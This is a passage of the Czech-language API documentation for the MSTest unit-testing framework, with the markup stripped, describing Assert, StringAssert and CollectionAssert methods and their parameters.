kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Thrown if is not equal to - . - - - - - Testuje rovnost zadaných hodnot double a vyvolá výjimku, - pokud se neshodují. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, kterou test očekává. - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not equal to . - - - - - Testuje rovnost zadaných hodnot double a vyvolá výjimku, - pokud se neshodují. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, kterou test očekává. - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to . - - - - - Testuje nerovnost zadaných hodnot double a vyvolá výjimku, - pokud jsou si rovny. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot double a vyvolá výjimku, - pokud jsou si rovny. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot double a vyvolá výjimku, - pokud jsou si rovny. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. Pro porovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. Pro porovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. Pro porovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou stejné. Pro srovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou stejné. Pro srovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou stejné. Pro srovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou si rovny. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou si rovny. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou si rovny. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli zadaný objekt je instancí očekávaného - typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědění objektu. - - - Objekt, který podle testu má být zadaného typu - - - Očekávaný typ . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt je instancí očekávaného - typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědění objektu. - - - Objekt, který podle testu má být zadaného typu - - - Očekávaný typ . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není instancí . Zpráva se - zobrazuje ve výsledcích testu. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt je instancí očekávaného - typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědění objektu. - - - Objekt, který podle testu má být zadaného typu - - - Očekávaný typ . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není instancí . Zpráva se - zobrazuje ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt není instancí nesprávného - typu, a vyvolá výjimku, pokud zadaný typ je v - hierarchii dědění objektu. - - - Objekt, který podle testu nemá být zadaného typu. - - - Typ, který by hodnotou neměl být. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt není instancí nesprávného - typu, a vyvolá výjimku, pokud zadaný typ je v - hierarchii dědění objektu. - - - Objekt, který podle testu nemá být zadaného typu. - - - Typ, který by hodnotou neměl být. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je instancí . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, jestli zadaný objekt není instancí nesprávného - typu, a vyvolá výjimku, pokud zadaný typ je v - hierarchii dědění objektu. - - - Objekt, který podle testu nemá být zadaného typu. - - - Typ, který by hodnotou neměl být. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je instancí . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Vyvolá výjimku AssertFailedException. - - - Always thrown. - - - - - Vyvolá výjimku AssertFailedException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Always thrown. - - - - - Vyvolá výjimku AssertFailedException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Always thrown. - - - - - Vyvolá výjimku AssertInconclusiveException. - - - Always thrown. - - - - - Vyvolá výjimku AssertInconclusiveException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Always thrown. - - - - - Vyvolá výjimku AssertInconclusiveException. - - - Zpráva, která má být zahrnuta do výjimky. Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Always thrown. - - - - - Statická přetížení operátoru rovnosti se používají k porovnání rovnosti odkazů na instance - dvou typů. Tato metoda by se neměla používat k porovnání rovnosti dvou - instancí. Tento objekt vždy vyvolá Assert.Fail. Ve svých testech - jednotek prosím použijte Assert.AreEqual a přidružená přetížení. - - Objekt A - Objekt B - Vždy nepravda. - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Pole parametrů, které se má použít při formátování . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegujte kód, který chcete testovat a který má vyvolat výjimku. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Pole parametrů, které se má použít při formátování . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ výjimky, ke které má podle očekávání dojít - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá - - AssertFailedException - , - pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Třídu spouští delegáta. - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá AssertFailedException, pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Třídu spouští delegáta. - - - - - Testujte, jestli kód určený delegátem vyvolá přesně danou výjimku typu (a ne odvozeného typu), - a vyvolá AssertFailedException, pokud kód nevyvolává výjimky nebo vyvolává výjimky typu jiného než . - - Delegát kódu, který chcete testovat a který má vyvolat výjimku - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nevyvolá výjimku typu . - - - Pole parametrů, které se má použít při formátování . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Třídu spouští delegáta. - - - - - Nahradí znaky null ('\0') řetězcem "\\0". - - - Řetězec, který se má hledat - - - Převedený řetězec se znaky Null nahrazený řetězcem "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Pomocná funkce, která vytváří a vyvolává výjimku AssertionFailedException - - - název kontrolního výrazu, který vyvolává výjimku - - - zpráva popisující podmínky neplatnosti kontrolního výrazu - - - Parametry - - - - - Ověří parametr pro platné podmínky. - - - Parametr - - - Název kontrolního výrazu - - - název parametru - - - zpráva pro neplatnou výjimku parametru - - - Parametry - - - - - Bezpečně převede objekt na řetězec, včetně zpracování hodnot null a znaků null. - Hodnoty null se převádějí na formát (null). Znaky null se převádějí na \\0. - - - Objekt, který chcete převést na řetězec - - - Převedený řetězec - - - - - Kontrolní výraz řetězce - - - - - Získá instanci typu singleton funkce CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, jestli zadaný řetězec obsahuje zadaný podřetězec, - a vyvolá výjimku, pokud se podřetězec v testovacím řetězci - nevyskytuje. - - - Řetězec, který má obsahovat . - - - Řetězec má být v rozmezí hodnot . - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaný řetězec obsahuje zadaný podřetězec, - a vyvolá výjimku, pokud se podřetězec v testovacím řetězci - nevyskytuje. - - - Řetězec, který má obsahovat . - - - Řetězec má být v rozmezí hodnot . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaný řetězec obsahuje zadaný podřetězec, - a vyvolá výjimku, pokud se podřetězec v testovacím řetězci - nevyskytuje. - - - Řetězec, který má obsahovat . - - - Řetězec má být v rozmezí hodnot . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaný řetězec začíná zadaným podřetězcem, - a vyvolá výjimku, pokud testovací řetězec podřetězcem - nezačíná. - - - Řetězec, který má začínat na . - - - Řetězec, který má být prefixem hodnoty . - - - Thrown if does not begin with - . - - - - - Testuje, jestli zadaný řetězec začíná zadaným podřetězcem, - a vyvolá výjimku, pokud testovací řetězec podřetězcem - nezačíná. - - - Řetězec, který má začínat na . - - - Řetězec, který má být prefixem hodnoty . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nezačíná na . Zpráva se - zobrazuje ve výsledcích testu. - - - Thrown if does not begin with - . - - - - - Testuje, jestli zadaný řetězec začíná zadaným podřetězcem, - a vyvolá výjimku, pokud testovací řetězec podřetězcem - nezačíná. - - - Řetězec, který má začínat na . - - - Řetězec, který má být prefixem hodnoty . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nezačíná na . Zpráva se - zobrazuje ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not begin with - . - - - - - Testuje, jestli zadaný řetězec končí zadaným podřetězcem, - a vyvolá výjimku, pokud jím testovací řetězec - nekončí. - - - Řetězec, který má končit na . - - - Řetězec, který má být příponou . - - - Thrown if does not end with - . - - - - - Testuje, jestli zadaný řetězec končí zadaným podřetězcem, - a vyvolá výjimku, pokud jím testovací řetězec - nekončí. - - - Řetězec, který má končit na . - - - Řetězec, který má být příponou . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nekončí na . Zpráva se - zobrazuje ve výsledcích testu. - - - Thrown if does not end with - . - - - - - Testuje, jestli zadaný řetězec končí zadaným podřetězcem, - a vyvolá výjimku, pokud jím testovací řetězec - nekončí. - - - Řetězec, který má končit na . - - - Řetězec, který má být příponou . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nekončí na . Zpráva se - zobrazuje ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not end with - . - - - - - Testuje, jestli se zadaný objekt shoduje s regulárním výrazem, a - vyvolá výjimku, pokud se řetězec s výrazem neshoduje. - - - Řetězec, který se má shodovat se vzorkem . - - - Regulární výraz, který se - má shodovat. - - - Thrown if does not match - . - - - - - Testuje, jestli se zadaný objekt shoduje s regulárním výrazem, a - vyvolá výjimku, pokud se řetězec s výrazem neshoduje. - - - Řetězec, který se má shodovat se vzorkem . - - - Regulární výraz, který se - má shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - neodpovídá . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if does not match - . - - - - - Testuje, jestli se zadaný objekt shoduje s regulárním výrazem, a - vyvolá výjimku, pokud se řetězec s výrazem neshoduje. - - - Řetězec, který se má shodovat se vzorkem . - - - Regulární výraz, který se - má shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - neodpovídá . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not match - . - - - - - Testuje, jestli se zadaný řetězec neshoduje s regulárním výrazem, - a vyvolá výjimku, pokud se řetězec s výrazem shoduje. - - - Řetězec, který se nemá shodovat se skutečnou hodnotou . - - - Regulární výraz, který se - nemá shodovat. - - - Thrown if matches . - - - - - Testuje, jestli se zadaný řetězec neshoduje s regulárním výrazem, - a vyvolá výjimku, pokud se řetězec s výrazem shoduje. - - - Řetězec, který se nemá shodovat se skutečnou hodnotou . - - - Regulární výraz, který se - nemá shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - odpovídá . Zpráva je zobrazena ve výsledcích - testu. - - - Thrown if matches . - - - - - Testuje, jestli se zadaný řetězec neshoduje s regulárním výrazem, - a vyvolá výjimku, pokud se řetězec s výrazem shoduje. - - - Řetězec, který se nemá shodovat se skutečnou hodnotou . - - - Regulární výraz, který se - nemá shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - odpovídá . Zpráva je zobrazena ve výsledcích - testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if matches . - - - - - Kolekce tříd pomocných služeb pro ověřování nejrůznějších podmínek vztahujících se - na kolekce v rámci testů jednotek. Pokud se testovaná podmínka - nesplní, vyvolá se výjimka. - - - - - Získá instanci typu singleton funkce CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, jestli zadaná kolekce obsahuje zadaný prvek, - a vyvolá výjimku, pokud prvek v kolekci není. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který má být v kolekci - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaná kolekce obsahuje zadaný prvek, - a vyvolá výjimku, pokud prvek v kolekci není. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který má být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaná kolekce obsahuje zadaný prvek, - a vyvolá výjimku, pokud prvek v kolekci není. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který má být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaná kolekce neobsahuje zadaný - prvek, a vyvolá výjimku, pokud prvek je v kolekci. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který nemá být v kolekci - - - Thrown if is found in - . - - - - - Testuje, jestli zadaná kolekce neobsahuje zadaný - prvek, a vyvolá výjimku, pokud prvek je v kolekci. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který nemá být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je v kolekci . Zpráva je zobrazena ve výsledcích - testu. - - - Thrown if is found in - . - - - - - Testuje, jestli zadaná kolekce neobsahuje zadaný - prvek, a vyvolá výjimku, pokud prvek je v kolekci. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který nemá být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je v kolekci . Zpráva je zobrazena ve výsledcích - testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is found in - . - - - - - Testuje, jestli ani jedna položka v zadané kolekci není null, a vyvolá - výjimku, pokud je jakýkoli prvek null. - - - Kolekce, ve které chcete hledat prvky Null. - - - Thrown if a null element is found in . - - - - - Testuje, jestli ani jedna položka v zadané kolekci není null, a vyvolá - výjimku, pokud je jakýkoli prvek null. - - - Kolekce, ve které chcete hledat prvky Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje prvek Null. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if a null element is found in . - - - - - Testuje, jestli ani jedna položka v zadané kolekci není null, a vyvolá - výjimku, pokud je jakýkoli prvek null. - - - Kolekce, ve které chcete hledat prvky Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje prvek Null. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if a null element is found in . - - - - - Testuje, jestli jsou všechny položky v zadané kolekci jedinečné, a - vyvolá výjimku, pokud libovolné dva prvky v kolekci jsou stejné. - - - Kolekce, ve které chcete hledat duplicitní prvky - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, jestli jsou všechny položky v zadané kolekci jedinečné, a - vyvolá výjimku, pokud libovolné dva prvky v kolekci jsou stejné. - - - Kolekce, ve které chcete hledat duplicitní prvky - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje alespoň jeden duplicitní prvek. Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, jestli jsou všechny položky v zadané kolekci jedinečné, a - vyvolá výjimku, pokud libovolné dva prvky v kolekci jsou stejné. - - - Kolekce, ve které chcete hledat duplicitní prvky - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje alespoň jeden duplicitní prvek. Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, jestli jedna kolekce je podmnožinou jiné kolekce, - a vyvolá výjimku, pokud libovolný prvek podmnožiny není zároveň - prvkem nadmnožiny. - - - Kolekce, která má být podmnožinou . - - - Kolekce má být nadmnožinou - - - Thrown if an element in is not found in - . - - - - - Testuje, jestli jedna kolekce je podmnožinou jiné kolekce, - a vyvolá výjimku, pokud libovolný prvek podmnožiny není zároveň - prvkem nadmnožiny. - - - Kolekce, která má být podmnožinou . - - - Kolekce má být nadmnožinou - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - se nenachází v podmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Thrown if an element in is not found in - . - - - - - Testuje, jestli jedna kolekce je podmnožinou jiné kolekce, - a vyvolá výjimku, pokud libovolný prvek podmnožiny není zároveň - prvkem nadmnožiny. - - - Kolekce, která má být podmnožinou . - - - Kolekce má být nadmnožinou - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - se nenachází v podmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if an element in is not found in - . - - - - - Testuje, jestli jedna z kolekcí není podmnožinou jiné kolekce, a vyvolá - výjimku, pokud všechny prvky podmnožiny jsou také prvky - nadmnožiny. - - - Kolekce, která nemá být podmnožinou nadmnožiny . - - - Kolekce, která nemá být nadmnožinou podmnožiny - - - Thrown if every element in is also found in - . - - - - - Testuje, jestli jedna z kolekcí není podmnožinou jiné kolekce, a vyvolá - výjimku, pokud všechny prvky podmnožiny jsou také prvky - nadmnožiny. - - - Kolekce, která nemá být podmnožinou nadmnožiny . - - - Kolekce, která nemá být nadmnožinou podmnožiny - - - Zpráva, kterou chcete zahrnout do výjimky, pokud každý prvek v podmnožině - se nachází také v nadmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Thrown if every element in is also found in - . - - - - - Testuje, 